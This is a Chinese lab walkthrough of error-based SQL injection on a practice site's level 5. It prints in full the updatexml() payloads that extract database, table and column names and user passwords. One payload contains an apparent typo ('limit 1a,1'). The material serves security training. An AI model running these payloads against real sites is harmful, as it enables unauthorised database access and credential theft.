打开第五关页面,提示给id赋值可查询出对应的数据,存在可变参数id,注入可能存在。
1、判断注入点及注入类型
?id=1 页面正常
?id=1’ 加入单引号,页面报错
基本确定为单引号注入。
?id=1’and 1=1 %23 页面正常
?id=1’and 1=2 %23 页面异常
至此,说明注入点为id参数,且为字符型单引号注入。
2、判断字段数
逐步采用二分法进行列数判断
?id=1’ order by 3%23 页面正常
?id=1’ order by 4%23 页面报错
由此确定,字段数为3。
3、判断回显位置
联合查询union select,这里注意要让前面的查询报错,这样页面在联合查询的情况下,会显示出后半部分查询出来的数据,如本题中在ID前面加个负号,因为id值不为负。这样前面出错的情况下,就可以查询出后面数据的回显位置。
?id=-1’ union select 1,2,3%23
最担心的事情还是发生了,这一关和前面的4关都有所不同,没有办法通过联合查询来确定页面的回显位置,因为页面根本没有回显,只要正常情况下的操作,都只会显示You are in……
这里我们联想到报错时会有相应的报错信息显示在页面上,那么我们是否可以在报错信息当中爆出数据库的信息呢,这样不就可以回显在页面上了吗?
按照这样的思路,我们需要用到报错注入的方法。
4、报错注入
1)什么是报错注入?
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
2)常用报错函数
- updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
- extractvalue() 是mysql对xml文档数据进行查询的xpath函数
- floor() mysql中用来取整的函数
- exp() 此函数返回e(自然对数的底)指数X的幂值
先百度学习了一下报错注入函数的用法,报错注入函数
updatexml报错注入–常用
原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。
updatexml(xml_document,xpath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1
第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
第三个参数: new_value,String格式,替换查找到的符合条件的数据。
作用: 改变文档中符合条件的节点的值。
4、爆数据库,版本,当前数据库用户等信息
id=1’ and updatexml(1,concat(0x3e,database()),1)–+
数据库:security
版本:5.5.53
5、爆数据库中表名
?id=1' and updatexml(1,concat(0x3e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3e),1)--+
得到数据库中的表有:emails,referers,uagents,users。
6、查询指定表users中的列名
?id=1' and updatexml(1,concat(0x3e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x3e),1)--+
users表中的列名有id,username,password。
7、查询users表中的数据
?id=1' and updatexml(1,concat(0x3e,(select password from users limit 1a,1),0x3e),1)%23
注意回显数据超过一行,无法显示,需要使用limit函数,只读取一个。
这里使用其他报错注入函数进行注入也是OK的!